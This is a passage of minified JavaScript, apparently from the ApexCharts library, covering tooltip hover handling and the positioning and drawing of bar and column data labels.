V(this.ctx);this.xAxisTicksPositions=a.getXAxisTicksPositions()}if(!e.globals.comboCharts&&!this.tConfig.intersect&&"rangeBar"!==e.config.chart.type||this.tConfig.shared||(this.showOnIntersect=!0),0!==e.config.markers.size&&0!==e.globals.markers.largestSize||this.marker.drawDynamicPoints(this),e.globals.collapsedSeries.length!==e.globals.series.length){this.dataPointsDividedHeight=e.globals.gridHeight/e.globals.dataPoints,this.dataPointsDividedWidth=e.globals.gridWidth/e.globals.dataPoints,this.showTooltipTitle&&(this.tooltipTitle=document.createElement("div"),this.tooltipTitle.classList.add("apexcharts-tooltip-title"),this.tooltipTitle.style.fontFamily=this.tConfig.style.fontFamily||e.config.chart.fontFamily,this.tooltipTitle.style.fontSize=this.tConfig.style.fontSize,i.appendChild(this.tooltipTitle));var s=e.globals.series.length;(e.globals.xyCharts||e.globals.comboCharts)&&this.tConfig.shared&&(s=this.showOnIntersect?1:e.globals.series.length),this.legendLabels=e.globals.dom.baseEl.querySelectorAll(".apexcharts-legend-text"),this.ttItems=this.createTTElements(s),this.addSVGEvents()}}},{key:"createTTElements",value:function(t){for(var e=this,i=this.w,a=[],s=this.getElTooltip(),r=function(r){var o=document.createElement("div");o.classList.add("apexcharts-tooltip-series-group"),o.style.order=i.config.tooltip.inverseOrder?t-r:r+1,e.tConfig.shared&&e.tConfig.enabledOnSeries&&Array.isArray(e.tConfig.enabledOnSeries)&&e.tConfig.enabledOnSeries.indexOf(r)<0&&o.classList.add("apexcharts-tooltip-series-group-hidden");var n=document.createElement("span");n.classList.add("apexcharts-tooltip-marker"),n.style.backgroundColor=i.globals.colors[r],o.appendChild(n);var l=document.createElement("div");l.classList.add("apexcharts-tooltip-text"),l.style.fontFamily=e.tConfig.style.fontFamily||i.config.chart.fontFamily,l.style.fontSize=e.tConfig.style.fontSize,["y","goals","z"].forEach((function(t){var e=document.createElement("div");e.classList.add("apexcharts-tooltip-".concat(t,"-group"));var i=document.createElement("span");i.classList.add("apexcharts-tooltip-text-".concat(t,"-label")),e.appendChild(i);var a=document.createElement("span");a.classList.add("apexcharts-tooltip-text-".concat(t,"-value")),e.appendChild(a),l.appendChild(e)})),o.appendChild(l),s.appendChild(o),a.push(o)},o=0;o<t;o++)r(o);return a}},{key:"addSVGEvents",value:function(){var t=this.w,e=t.config.chart.type,i=this.getElTooltip(),a=!("bar"!==e&&"candlestick"!==e&&"boxPlot"!==e&&"rangeBar"!==e),s="area"===e||"line"===e||"scatter"===e||"bubble"===e||"radar"===e,r=t.globals.dom.Paper.node,o=this.getElGrid();o&&(this.seriesBound=o.getBoundingClientRect());var n,l=[],h=[],c={hoverArea:r,elGrid:o,tooltipEl:i,tooltipY:l,tooltipX:h,ttItems:this.ttItems};if(t.globals.axisCharts&&(s?n=t.globals.dom.baseEl.querySelectorAll(".apexcharts-series[data\\:longestSeries='true'] .apexcharts-marker"):a?n=t.globals.dom.baseEl.querySelectorAll(".apexcharts-series .apexcharts-bar-area, .apexcharts-series .apexcharts-candlestick-area, .apexcharts-series .apexcharts-boxPlot-area, .apexcharts-series .apexcharts-rangebar-area"):"heatmap"!==e&&"treemap"!==e||(n=t.globals.dom.baseEl.querySelectorAll(".apexcharts-series .apexcharts-heatmap, .apexcharts-series .apexcharts-treemap")),n&&n.length))for(var d=0;d<n.length;d++)l.push(n[d].getAttribute("cy")),h.push(n[d].getAttribute("cx"));if(t.globals.xyCharts&&!this.showOnIntersect||t.globals.comboCharts&&!this.showOnIntersect||a&&this.tooltipUtil.hasBars()&&this.tConfig.shared)this.addPathsEventListeners([r],c);else if(a&&!t.globals.comboCharts||s&&this.showOnIntersect)this.addDatapointEventsListeners(c);else if(!t.globals.axisCharts||"heatmap"===e||"treemap"===e){var g=t.globals.dom.baseEl.querySelectorAll(".apexcharts-series");this.addPathsEventListeners(g,c)}if(this.showOnIntersect){var u=t.globals.dom.baseEl.querySelectorAll(".apexcharts-line-series .apexcharts-marker, .apexcharts-area-series .apexcharts-marker");u.length>0&&this.addPathsEventListeners(u,c),this.tooltipUtil.hasBars()&&!this.tConfig.shared&&this.addDatapointEventsListeners(c)}}},{key:"drawFixedTooltipRect",value:function(){var t=this.w,e=this.getElTooltip(),i=e.getBoundingClientRect(),a=i.width+10,s=i.height+10,r=this.tConfig.fixed.offsetX,o=this.tConfig.fixed.offsetY,n=this.tConfig.fixed.position.toLowerCase();return n.indexOf("right")>-1&&(r=r+t.globals.svgWidth-a+10),n.indexOf("bottom")>-1&&(o=o+t.globals.svgHeight-s-10),e.style.left=r+"px",e.style.top=o+"px",{x:r,y:o,ttWidth:a,ttHeight:s}}},{key:"addDatapointEventsListeners",value:function(t){var e=this.w.globals.dom.baseEl.querySelectorAll(".apexcharts-series-markers .apexcharts-marker, .apexcharts-bar-area, .apexcharts-candlestick-area, .apexcharts-boxPlot-area, .apexcharts-rangebar-area");this.addPathsEventListeners(e,t)}},{key:"addPathsEventListeners",value:function(t,e){for(var i=this,a=function(a){var s={paths:t[a],tooltipEl:e.tooltipEl,tooltipY:e.tooltipY,tooltipX:e.tooltipX,elGrid:e.elGrid,hoverArea:e.hoverArea,ttItems:e.ttItems};["mousemove","mouseup","touchmove","mouseout","touchend"].map((function(e){return t[a].addEventListener(e,i.onSeriesHover.bind(i,s),{capture:!1,passive:!0})}))},s=0;s<t.length;s++)a(s)}},{key:"onSeriesHover",value:function(t,e){var i=this,a=Date.now()-this.lastHoverTime;a>=100?this.seriesHover(t,e):(clearTimeout(this.seriesHoverTimeout),this.seriesHoverTimeout=setTimeout((function(){i.seriesHover(t,e)}),100-a))}},{key:"seriesHover",value:function(t,e){var i=this;this.lastHoverTime=Date.now();var a=[],s=this.w;s.config.chart.group&&(a=this.ctx.getGroupedCharts()),s.globals.axisCharts&&(s.globals.minX===-1/0&&s.globals.maxX===1/0||0===s.globals.dataPoints)||(a.length?a.forEach((function(a){var s=i.getElTooltip(a),r={paths:t.paths,tooltipEl:s,tooltipY:t.tooltipY,tooltipX:t.tooltipX,elGrid:t.elGrid,hoverArea:t.hoverArea,ttItems:a.w.globals.tooltip.ttItems};a.w.globals.minX===i.w.globals.minX&&a.w.globals.maxX===i.w.globals.maxX&&a.w.globals.tooltip.seriesHoverByContext({chartCtx:a,ttCtx:a.w.globals.tooltip,opt:r,e:e})})):this.seriesHoverByContext({chartCtx:this.ctx,ttCtx:this.w.globals.tooltip,opt:t,e:e}))}},{key:"seriesHoverByContext",value:function(t){var e=t.chartCtx,i=t.ttCtx,a=t.opt,s=t.e,r=e.w,o=this.getElTooltip();if(o){if(i.tooltipRect={x:0,y:0,ttWidth:o.getBoundingClientRect().width,ttHeight:o.getBoundingClientRect().height},i.e=s,i.tooltipUtil.hasBars()&&!r.globals.comboCharts&&!i.isBarShared)if(this.tConfig.onDatasetHover.highlightDataSeries)new N(e).toggleSeriesOnHover(s,s.target.parentNode);i.fixedTooltip&&i.drawFixedTooltipRect(),r.globals.axisCharts?i.axisChartsTooltips({e:s,opt:a,tooltipRect:i.tooltipRect}):i.nonAxisChartsTooltips({e:s,opt:a,tooltipRect:i.tooltipRect})}}},{key:"axisChartsTooltips",value:function(t){var e,i,a=t.e,s=t.opt,r=this.w,o=s.elGrid.getBoundingClientRect(),n="touchmove"===a.type?a.touches[0].clientX:a.clientX,l="touchmove"===a.type?a.touches[0].clientY:a.clientY;if(this.clientY=l,this.clientX=n,r.globals.capturedSeriesIndex=-1,r.globals.capturedDataPointIndex=-1,l<o.top||l>o.top+o.height)this.handleMouseOut(s);else{if(Array.isArray(this.tConfig.enabledOnSeries)&&!r.config.tooltip.shared){var h=parseInt(s.paths.getAttribute("index"),10);if(this.tConfig.enabledOnSeries.indexOf(h)<0)return void this.handleMouseOut(s)}var c=this.getElTooltip(),d=this.getElXCrosshairs(),g=r.globals.xyCharts||"bar"===r.config.chart.type&&!r.globals.isBarHorizontal&&this.tooltipUtil.hasBars()&&this.tConfig.shared||r.globals.comboCharts&&this.tooltipUtil.hasBars();if("mousemove"===a.type||"touchmove"===a.type||"mouseup"===a.type){if(r.globals.collapsedSeries.length+r.globals.ancillaryCollapsedSeries.length===r.globals.series.length)return;null!==d&&d.classList.add("apexcharts-active");var u=this.yaxisTooltips.filter((function(t){return!0===t}));if(null!==this.ycrosshairs&&u.length&&this.ycrosshairs.classList.add("apexcharts-active"),g&&!this.showOnIntersect)this.handleStickyTooltip(a,n,l,s);else if("heatmap"===r.config.chart.type||"treemap"===r.config.chart.type){var p=this.intersect.handleHeatTreeTooltip({e:a,opt:s,x:e,y:i,type:r.config.chart.type});e=p.x,i=p.y,c.style.left=e+"px",c.style.top=i+"px"}else this.tooltipUtil.hasBars()&&this.intersect.handleBarTooltip({e:a,opt:s}),this.tooltipUtil.hasMarkers()&&this.intersect.handleMarkerTooltip({e:a,opt:s,x:e,y:i});if(this.yaxisTooltips.length)for(var f=0;f<r.config.yaxis.length;f++)this.axesTooltip.drawYaxisTooltipText(f,l,this.xyRatios);s.tooltipEl.classList.add("apexcharts-active")}else"mouseout"!==a.type&&"touchend"!==a.type||this.handleMouseOut(s)}}},{key:"nonAxisChartsTooltips",value:function(t){var e=t.e,i=t.opt,a=t.tooltipRect,s=this.w,r=i.paths.getAttribute("rel"),o=this.getElTooltip(),n=s.globals.dom.elWrap.getBoundingClientRect();if("mousemove"===e.type||"touchmove"===e.type){o.classList.add("apexcharts-active"),this.tooltipLabels.drawSeriesTexts({ttItems:i.ttItems,i:parseInt(r,10)-1,shared:!1});var l=s.globals.clientX-n.left-a.ttWidth/2,h=s.globals.clientY-n.top-a.ttHeight-10;if(o.style.left=l+"px",o.style.top=h+"px",s.config.legend.tooltipHoverFormatter){var c=r-1,d=(0,s.config.legend.tooltipHoverFormatter)(this.legendLabels[c].getAttribute("data:default-text"),{seriesIndex:c,dataPointIndex:c,w:s});this.legendLabels[c].innerHTML=d}}else"mouseout"!==e.type&&"touchend"!==e.type||(o.classList.remove("apexcharts-active"),s.config.legend.tooltipHoverFormatter&&this.legendLabels.forEach((function(t){var e=t.getAttribute("data:default-text");t.innerHTML=decodeURIComponent(e)})))}},{key:"handleStickyTooltip",value:function(t,e,i,a){var s=this.w,r=this.tooltipUtil.getNearestValues({context:this,hoverArea:a.hoverArea,elGrid:a.elGrid,clientX:e,clientY:i}),o=r.j,n=r.capturedSeries;s.globals.collapsedSeriesIndices.includes(n)&&(n=null);var l=a.elGrid.getBoundingClientRect();if(r.hoverX<0||r.hoverX>l.width)this.handleMouseOut(a);else if(null!==n)this.handleStickyCapturedSeries(t,n,a,o);else if(this.tooltipUtil.isXoverlap(o)||s.globals.isBarHorizontal){var h=s.globals.series.findIndex((function(t,e){return!s.globals.collapsedSeriesIndices.includes(e)}));this.create(t,this,h,o,a.ttItems)}}},{key:"handleStickyCapturedSeries",value:function(t,e,i,a){var s=this.w;if(!this.tConfig.shared&&null===s.globals.series[e][a])return void this.handleMouseOut(i);if(void 0!==s.globals.series[e][a])this.tConfig.shared&&this.tooltipUtil.isXoverlap(a)&&this.tooltipUtil.isInitialSeriesSameLen()?this.create(t,this,e,a,i.ttItems):this.create(t,this,e,a,i.ttItems,!1);else if(this.tooltipUtil.isXoverlap(a)){var r=s.globals.series.findIndex((function(t,e){return!s.globals.collapsedSeriesIndices.includes(e)}));this.create(t,this,r,a,i.ttItems)}}},{key:"deactivateHoverFilter",value:function(){for(var t=this.w,e=new m(this.ctx),i=t.globals.dom.Paper.select(".apexcharts-bar-area"),a=0;a<i.length;a++)e.pathMouseLeave(i[a])}},{key:"handleMouseOut",value:function(t){var e=this.w,i=this.getElXCrosshairs();if(t.tooltipEl.classList.remove("apexcharts-active"),this.deactivateHoverFilter(),"bubble"!==e.config.chart.type&&this.marker.resetPointsSize(),null!==i&&i.classList.remove("apexcharts-active"),null!==this.ycrosshairs&&this.ycrosshairs.classList.remove("apexcharts-active"),this.isXAxisTooltipEnabled&&this.xaxisTooltip.classList.remove("apexcharts-active"),this.yaxisTooltips.length){null===this.yaxisTTEls&&(this.yaxisTTEls=e.globals.dom.baseEl.querySelectorAll(".apexcharts-yaxistooltip"));for(var a=0;a<this.yaxisTTEls.length;a++)this.yaxisTTEls[a].classList.remove("apexcharts-active")}e.config.legend.tooltipHoverFormatter&&this.legendLabels.forEach((function(t){var e=t.getAttribute("data:default-text");t.innerHTML=decodeURIComponent(e)}))}},{key:"markerClick",value:function(t,e,i){var a=this.w;"function"==typeof a.config.chart.events.markerClick&&a.config.chart.events.markerClick(t,this.ctx,{seriesIndex:e,dataPointIndex:i,w:a}),this.ctx.events.fireEvent("markerClick",[t,this.ctx,{seriesIndex:e,dataPointIndex:i,w:a}])}},{key:"create",value:function(t,i,a,s,r){var o,n,l,h,c,d,g,u,p,f,x,b,v,y,w,k,A=arguments.length>5&&void 0!==arguments[5]?arguments[5]:null,S=this.w,C=i;"mouseup"===t.type&&this.markerClick(t,a,s),null===A&&(A=this.tConfig.shared);var L=this.tooltipUtil.hasMarkers(a),P=this.tooltipUtil.getElBars();if(S.config.legend.tooltipHoverFormatter){var I=S.config.legend.tooltipHoverFormatter,T=Array.from(this.legendLabels);T.forEach((function(t){var e=t.getAttribute("data:default-text");t.innerHTML=decodeURIComponent(e)}));for(var M=0;M<T.length;M++){var X=T[M],z=parseInt(X.getAttribute("i"),10),E=decodeURIComponent(X.getAttribute("data:default-text")),Y=I(E,{seriesIndex:A?z:a,dataPointIndex:s,w:S});if(A)X.innerHTML=S.globals.collapsedSeriesIndices.indexOf(z)<0?Y:E;else if(X.innerHTML=z===a?Y:E,a===z)break}}var F=e(e({ttItems:r,i:a,j:s},void 0!==(null===(o=S.globals.seriesRange)||void 0===o||null===(n=o[a])||void 0===n||null===(l=n[s])||void 0===l||null===(h=l.y[0])||void 0===h?void 0:h.y1)&&{y1:null===(c=S.globals.seriesRange)||void 0===c||null===(d=c[a])||void 0===d||null===(g=d[s])||void 0===g||null===(u=g.y[0])||void 0===u?void 0:u.y1}),void 0!==(null===(p=S.globals.seriesRange)||void 0===p||null===(f=p[a])||void 0===f||null===(x=f[s])||void 0===x||null===(b=x.y[0])||void 0===b?void 0:b.y2)&&{y2:null===(v=S.globals.seriesRange)||void 0===v||null===(y=v[a])||void 0===y||null===(w=y[s])||void 0===w||null===(k=w.y[0])||void 0===k?void 0:k.y2});if(A){if(C.tooltipLabels.drawSeriesTexts(e(e({},F),{},{shared:!this.showOnIntersect&&this.tConfig.shared})),L)S.globals.markers.largestSize>0?C.marker.enlargePoints(s):C.tooltipPosition.moveDynamicPointsOnHover(s);else if(this.tooltipUtil.hasBars()&&(this.barSeriesHeight=this.tooltipUtil.getBarsHeight(P),this.barSeriesHeight>0)){var R=new m(this.ctx),H=S.globals.dom.Paper.select(".apexcharts-bar-area[j='".concat(s,"']"));this.deactivateHoverFilter(),this.tooltipPosition.moveStickyTooltipOverBars(s,a);for(var D=0;D<H.length;D++)R.pathMouseEnter(H[D])}}else C.tooltipLabels.drawSeriesTexts(e({shared:!1},F)),this.tooltipUtil.hasBars()&&C.tooltipPosition.moveStickyTooltipOverBars(s,a),L&&C.tooltipPosition.moveMarkers(a,s)}}]),t}(),vt=function(){function t(e){a(this,t),this.w=e.w,this.barCtx=e,this.totalFormatter=this.w.config.plotOptions.bar.dataLabels.total.formatter,this.totalFormatter||(this.totalFormatter=this.w.config.dataLabels.formatter)}return r(t,[{key:"handleBarDataLabels",value:function(t){var e=t.x,i=t.y,a=t.y1,s=t.y2,r=t.i,o=t.j,n=t.realIndex,l=t.groupIndex,h=t.series,c=t.barHeight,d=t.barWidth,g=t.barXPosition,u=t.barYPosition,p=t.visibleSeries,f=t.renderedPath,x=this.w,b=new m(this.barCtx.ctx),v=Array.isArray(this.barCtx.strokeWidth)?this.barCtx.strokeWidth[n]:this.barCtx.strokeWidth,y=e+parseFloat(d*p),w=i+parseFloat(c*p);x.globals.isXNumeric&&!x.globals.isBarHorizontal&&(y=e+parseFloat(d*(p+1)),w=i+parseFloat(c*(p+1))-v);var k,A=null,S=e,C=i,L={},P=x.config.dataLabels,I=this.barCtx.barOptions.dataLabels,T=this.barCtx.barOptions.dataLabels.total;void 0!==u&&this.barCtx.isRangeBar&&(w=u,C=u),void 0!==g&&this.barCtx.isVerticalGroupedRangeBar&&(y=g,S=g);var M=P.offsetX,X=P.offsetY,z={width:0,height:0};if(x.config.dataLabels.enabled){var E=this.barCtx.series[r][o];z=b.getTextRects(x.globals.yLabelFormatters[0](E),parseFloat(P.style.fontSize))}var Y={x:e,y:i,i:r,j:o,realIndex:n,groupIndex:l||-1,renderedPath:f,bcx:y,bcy:w,barHeight:c,barWidth:d,textRects:z,strokeWidth:v,dataLabelsX:S,dataLabelsY:C,dataLabelsConfig:P,barDataLabelsConfig:I,barTotalDataLabelsConfig:T,offX:M,offY:X};return L=this.barCtx.isHorizontal?this.calculateBarsDataLabelsPosition(Y):this.calculateColumnsDataLabelsPosition(Y),f.attr({cy:L.bcy,cx:L.bcx,j:o,val:h[r][o],barHeight:c,barWidth:d}),k=this.drawCalculatedDataLabels({x:L.dataLabelsX,y:L.dataLabelsY,val:this.barCtx.isRangeBar?[a,s]:h[r][o],i:n,j:o,barWidth:d,barHeight:c,textRects:z,dataLabelsConfig:P}),x.config.chart.stacked&&T.enabled&&(A=this.drawTotalDataLabels({x:L.totalDataLabelsX,y:L.totalDataLabelsY,realIndex:n,textAnchor:L.totalDataLabelsAnchor,val:this.getStackedTotalDataLabel({realIndex:n,j:o}),dataLabelsConfig:P,barTotalDataLabelsConfig:T})),{dataLabels:k,totalDataLabels:A}}},{key:"getStackedTotalDataLabel",value:function(t){var i=t.realIndex,a=t.j,s=this.w,r=this.barCtx.stackedSeriesTotals[a];return this.totalFormatter&&(r=this.totalFormatter(r,e(e({},s),{},{seriesIndex:i,dataPointIndex:a,w:s}))),r}},{key:"calculateColumnsDataLabelsPosition",value:function(t){var e,i,a=this.w,s=t.i,r=t.j,o=t.realIndex,n=t.groupIndex,l=t.y,h=t.bcx,c=t.barWidth,d=t.barHeight,g=t.textRects,u=t.dataLabelsX,p=t.dataLabelsY,f=t.dataLabelsConfig,x=t.barDataLabelsConfig,b=t.barTotalDataLabelsConfig,v=t.strokeWidth,y=t.offX,w=t.offY;d=Math.abs(d);var k="vertical"===a.config.plotOptions.bar.dataLabels.orientation;h=h-v/2+(-1!==n?n*c:0);var A=a.globals.gridWidth/a.globals.dataPoints;if(this.barCtx.isVerticalGroupedRangeBar?u+=c/2:u=a.globals.isXNumeric?h-c/2+y:h-A+c/2+y,k){u=u+g.height/2-v/2-2}var S=this.barCtx.series[s][r]<0,C=l;switch(this.barCtx.isReversed&&(C=l-d+(S?2*d:0),l-=d),x.position){case"center":p=k?S?C+d/2+w:C+d/2-w:S?C-d/2+g.height/2+w:C+d/2+g.height/2-w;break;case"bottom":p=k?S?C+d+w:C+d-w:S?C-d+g.height+v+w:C+d-g.height/2+v-w;break;case"top":p=k?S?C+w:C-w:S?C-g.height/2-w:C+g.height+w}if(this.barCtx.lastActiveBarSerieIndex===o&&b.enabled){var L=new m(this.barCtx.ctx).getTextRects(this.getStackedTotalDataLabel({realIndex:o,j:r}),f.fontSize);e=S?C-L.height/2-w-b.offsetY+18:C+L.height+w+b.offsetY-18,i=u+b.offsetX}return a.config.chart.stacked||(p<0?p=0+v:p+g.height/3>a.globals.gridHeight&&(p=a.globals.gridHeight-v)),{bcx:h,bcy:l,dataLabelsX:u,dataLabelsY:p,totalDataLabelsX:i,totalDataLabelsY:e,totalDataLabelsAnchor:"middle"}}},{key:"calculateBarsDataLabelsPosition",value:function(t){var e=this.w,i=t.x,a=t.i,s=t.j,r=t.realIndex,o=t.groupIndex,n=t.bcy,l=t.barHeight,h=t.barWidth,c=t.textRects,d=t.dataLabelsX,g=t.strokeWidth,u=t.dataLabelsConfig,p=t.barDataLabelsConfig,f=t.barTotalDataLabelsConfig,x=t.offX,b=t.offY,v=e.globals.gridHeight/e.globals.dataPoints;h=Math.abs(h);var y,w,k=(n+=-1!==o?o*l:0)-(this.barCtx.isRangeBar?0:v)+l/2+c.height/2+b-3,A="start",S=this.barCtx.series[a][s]<0,C=i;switch(this.barCtx.isReversed&&(C=i+h-(S?2*h:0),i=e.globals.gridWidth-h),p.position){case"center":d=S?C+h/2-x:Math.max(c.width/2,C-h/2)+x;break;case"bottom":d=S?C+h-g-Math.round(c.width/2)-x:C-h+g+Math.round(c.width/2)+x;break;case"top":d=S?C-g+Math.round(c.width/2)-x:C-g-Math.round(c.width/2)+x}if(this.barCtx.lastActiveBarSerieIndex===r&&f.enabled){var L=new m(this.barCtx.ctx).getTextRects(this.getStackedTotalDataLabel({realIndex:r,j:s}),u.fontSize);S?(y=C-g+Math.round(L.width/2)-x-f.offsetX-15,A="end"):y=C-g-Math.round(L.width/2)+x+f.offsetX+15,w=k+f.offsetY}return e.config.chart.stacked||(d<0?d=d+c.width+g:d+c.width/2>e.globals.gridWidth&&(d=e.globals.gridWidth-c.width-g)),{bcx:i,bcy:n,dataLabelsX:d,dataLabelsY:k,totalDataLabelsX:y,totalDataLabelsY:w,totalDataLabelsAnchor:A}}},{key:"drawCalculatedDataLabels",value:function(t){var i=t.x,a=t.y,s=t.val,r=t.i,o=t.j,n=t.textRects,l=t.barHeight,h=t.barWidth,c=t.dataLabelsConfig,d=this.w,g="rotate(0)";"vertical"===d.config.plotOptions.bar.dataLabels.orientation&&(g="rotate(-90, ".concat(i,", ").concat(a,")"));var u=new O(this.barCtx.ctx),p=new m(this.barCtx.ctx),f=c.formatter,x=null,b=d.globals.collapsedSeriesIndices.indexOf(r)>-1;if(c.enabled&&!b){x=p.group({class:"apexcharts-data-labels",transform:g});var v="";void 0!==s&&(v=f(s,e(e({},d),{},{seriesIndex:r,dataPointIndex:o,w:d}))),!s&&d.config.plotOptions.bar.hideZeroBarsWhenGrouped&&(v="");var y=d.globals.series[r][o]<0,w=d.config.plotOptions.bar.dataLabels.position;if("vertical"===d.config.plotOptions.bar.dataLabels.orientation&&("top"===w&&(c.textAnchor=y?"end":"start"),"center"===w&&(c.textAnchor="middle"),"bottom"===w&&(c.textAnchor=y?"end":"start")),this.barCtx.isRangeBar&&this.barCtx.barOptions.dataLabels.hideOverflowingLabels)h<p.getTextRects(v,parseFloat(c.style.fontSize)).width&&(v="");d.config.chart.stacked&&this.barCtx.barOptions.dataLabels.hideOverflowingLabels&&(this.barCtx.isHorizontal?n.width/1.6>Math.abs(h)&&(v=""):n.height/1.6>Math.abs(l)&&(v=""));var k=e({},c);this.barCtx.isHorizontal&&s<0&&("start"===c.textAnchor?k.textAnchor="end":"end"===c.textAnchor&&(k.textAnchor="start")),u.plotDataLabelsText({x:i,y:a,text:v,i:r,j:o,parent:x,dataLabelsConfig:k,alwaysDrawDataLabel:!0,offsetCorrection:!0})}return x}},{key:"drawTotalDataLabels",value:function(t){var e,i=t.x,a=t.y,s=t.val,r=t.realIndex,o=t.textAnchor,n=t.barTotalDataLabelsConfig,l=new m(this.barCtx.ctx);return n.enabled&&void 0!==i&&void 0!==a&&this.barCtx.lastActiveBarSerieIndex===r&&(e=l.drawText({x:i,y:a,foreColor:n.style.color,text:s,textAnchor:o,fontFamily:n.style.fontFamily,fontSize:n.style.fontSize,fontWeight:n.style.fontWeight})),e}}]),t}(),mt=function(){function t(e){a(this,t),this.w=e.w,this.barCtx=e}return r(t,[{key:"initVariables",value:function(t){var e=this.w;this.barCtx.series=t,this.barCtx.totalItems=0,this.barCtx.seriesLen=0,this.barCtx.visibleI=-1,this.barCtx.visibleItems=1;for(var i=0;i<t.length;i++)if(t[i].length>0&&(this.barCtx.seriesLen=this.barCtx.seriesLen+1,this.barCtx.totalItems+=t[i].length),e.globals.isXNumeric)for(var a=0;a<t[i].length;a++)e.globals.seriesX[i][a]>e.globals.minX&&e.globals.seriesX[i][a]<e.globals.maxX&&this.barCtx.visibleItems++;else this.barCtx.visibleItems=e.globals.dataPoints;0===this.barCtx.seriesLen&&(this.barCtx.seriesLen=1),this.barCtx.zeroSerieses=[],e.globals.comboCharts||this.checkZeroSeries({series:t})}},{key:"initialPositions",value:function(){var t,e,i,a,s,r,o,n,l=this.w,h=l.globals.dataPoints;this.barCtx.isRangeBar&&(h=l.globals.labels.length);var c=this.barCtx.seriesLen;if(l.config.plotOptions.bar.rangeBarGroupRows&&(c=1),this.barCtx.isHorizontal)s=(i=l.globals.gridHeight/h)/c,l.globals.isXNumeric&&(s=(i=l.globals.gridHeight/this.barCtx.totalItems)/this.barCtx.seriesLen),s=s*parseInt(this.barCtx.barOptions.barHeight,10)/100,-1===String(this.barCtx.barOptions.barHeight).indexOf("%")&&(s=parseInt(this.barCtx.barOptions.barHeight,10)),n=this.barCtx.baseLineInvertedY+l.globals.padHorizontal+(this.barCtx.isReversed?l.globals.gridWidth:0)-(this.barCtx.isReversed?2*this.barCtx.baseLineInvertedY:0),this.barCtx.isFunnel&&(n=l.globals.gridWidth/2),e=(i-s*this.barCtx.seriesLen)/2;else{if(a=l.globals.gridWidth/this.barCtx.visibleItems,l.config.xaxis.convertedCatToNumeric&&(a=l.globals.gridWidth/l.globals.dataPoints),r=a/c*parseInt(this.barCtx.barOptions.columnWidth,10)/100,l.globals.isXNumeric){var d=this.barCtx.xRatio;l.config.xaxis.convertedCatToNumeric&&(d=this.barCtx.initialXRatio),l.globals.minXDiff&&.5!==l.globals.minXDiff&&l.globals.minXDiff/d>0&&(a=l.globals.minXDiff/d),(r=a/c*parseInt(this.barCtx.barOptions.columnWidth,10)/100)<1&&(r=1)}-1===String(this.barCtx.barOptions.columnWidth).indexOf("%")&&(r=parseInt(this.barCtx.barOptions.columnWidth,10)),o=l.globals.gridHeight-this.barCtx.baseLineY[this.barCtx.yaxisIndex]-(this.barCtx.isReversed?l.globals.gridHeight:0)+(this.barCtx.isReversed?2*this.barCtx.baseLineY[this.barCtx.yaxisIndex]:0),t=l.globals.padHorizontal+(a-r*this.barCtx.seriesLen)/2}return{x:t,y:e,yDivision:i,xDivision:a,barHeight:s,barWidth:r,zeroH:o,zeroW:n}}},{key:"initializeStackedPrevVars",value:function(t){var e=t.w;e.globals.hasSeriesGroups?e.globals.seriesGroups.forEach((function(e){t[e]||(t[e]={}),t[e].prevY=[],t[e].prevX=[],t[e].prevYF=[],t[e].prevXF=[],t[e].prevYVal=[],t[e].prevXVal=[]})):(t.prevY=[],t.prevX=[],t.prevYF=[],t.prevXF=[],t.prevYVal=[],t.prevXVal=[])}},{key:"initializeStackedXYVars",value:function(t){var e=t.w;e.globals.hasSeriesGroups?e.globals.seriesGroups.forEach((function(e){t[e]||(t[e]={}),t[e].xArrj=[],t[e].xArrjF=[],t[e].xArrjVal=[],t[e].yArrj=[],t[e].yArrjF=[],t[e].yArrjVal=[]})):(t.xArrj=[],t.xArrjF=[],t.xArrjVal=[],t.yArrj=[],t.yArrjF=[],t.yArrjVal=[])}},{key:"getPathFillColor",value:function(t,e,i,a){var s,r,o,n,l=this.w,h=new R(this.barCtx.ctx),c=null,d=this.barCtx.barOptions.distributed?i:e;this.barCtx.barOptions.colors.ranges.length>0&&this.barCtx.barOptions.colors.ranges.map((function(a){t[e][i]>=a.from&&t[e][i]<=a.to&&(c=a.color)}));return l.config.series[e].data[i]&&l.config.series[e].data[i].fillColor&&(c=l.config.series[e].data[i].fillColor),h.fillPath({seriesNumber:this.barCtx.barOptions.distributed?d:a,dataPointIndex:i,color:c,value:t[e][i],fillConfig:null===(s=l.config.series[e].data[i])||void 0===s?void 0:s.fill,fillType:null!==(r=l.config.series[e].data[i])&&void 0!==r&&null!==(o=r.fill)&&void 0!==o&&o.type?null===(n=l.config.series[e].data[i])||void 0===n?void 0:n.fill.type:l.config.fill.type})}},{key:"getStrokeWidth",value:function(t,e,i){var a=0,s=this.w;return this.barCtx.series[t][e]?this.barCtx.isNullValue=!1:this.barCtx.isNullValue=!0,s.config.stroke.show&&(this.barCtx.isNullValue||(a=Array.isArray(this.barCtx.strokeWidth)?this.barCtx.strokeWidth[i]:this.barCtx.strokeWidth)),a}},{key:"shouldApplyRadius",value:function(t){var e=this.w,i=!1;return e.config.plotOptions.bar.borderRadius>0&&(e.config.chart.stacked&&"last"===e.config.plotOptions.bar.borderRadiusWhenStacked?this.barCtx.lastActiveBarSerieIndex===t&&(i=!0):i=!0),i}},{key:"barBackground",value:function(t){var e=t.j,i=t.i,a=t.x1,s=t.x2,r=t.y1,o=t.y2,n=t.elSeries,l=this.w,h=new m(this.barCtx.ctx),c=new N(this.barCtx.ctx).getActiveConfigSeriesIndex();if(this.barCtx.barOptions.colors.backgroundBarColors.length>0&&c===i){e>=this.barCtx.barOptions.colors.backgroundBarColors.length&&(e%=this.barCtx.barOptions.colors.backgroundBarColors.length);var d=this.barCtx.barOptions.colors.backgroundBarColors[e],g=h.drawRect(void 0!==a?a:0,void 0!==r?r:0,void 0!==s?s:l.globals.gridWidth,void 0!==o?o:l.globals.gridHeight,this.barCtx.barOptions.colors.backgroundBarRadius,d,this.barCtx.barOptions.colors.backgroundBarOpacity);n.add(g),g.node.classList.add("apexcharts-backgroundBar")}}},{key:"getColumnPaths",value:function(t){var e,i=t.barWidth,a=t.barXPosition,s=t.y1,r=t.y2,o=t.strokeWidth,n=t.seriesGroup,l=t.realIndex,h=t.i,c=t.j,d=t.w,g=new m(this.barCtx.ctx);(o=Array.isArray(o)?o[l]:o)||(o=0);var u=i,p=a;null!==(e=d.config.series[l].data[c])&&void 0!==e&&e.columnWidthOffset&&(p=a-d.config.series[l].data[c].columnWidthOffset/2,u=i+d.config.series[l].data[c].columnWidthOffset);var f=p,x=p+u;s+=.001,r+=.001;var 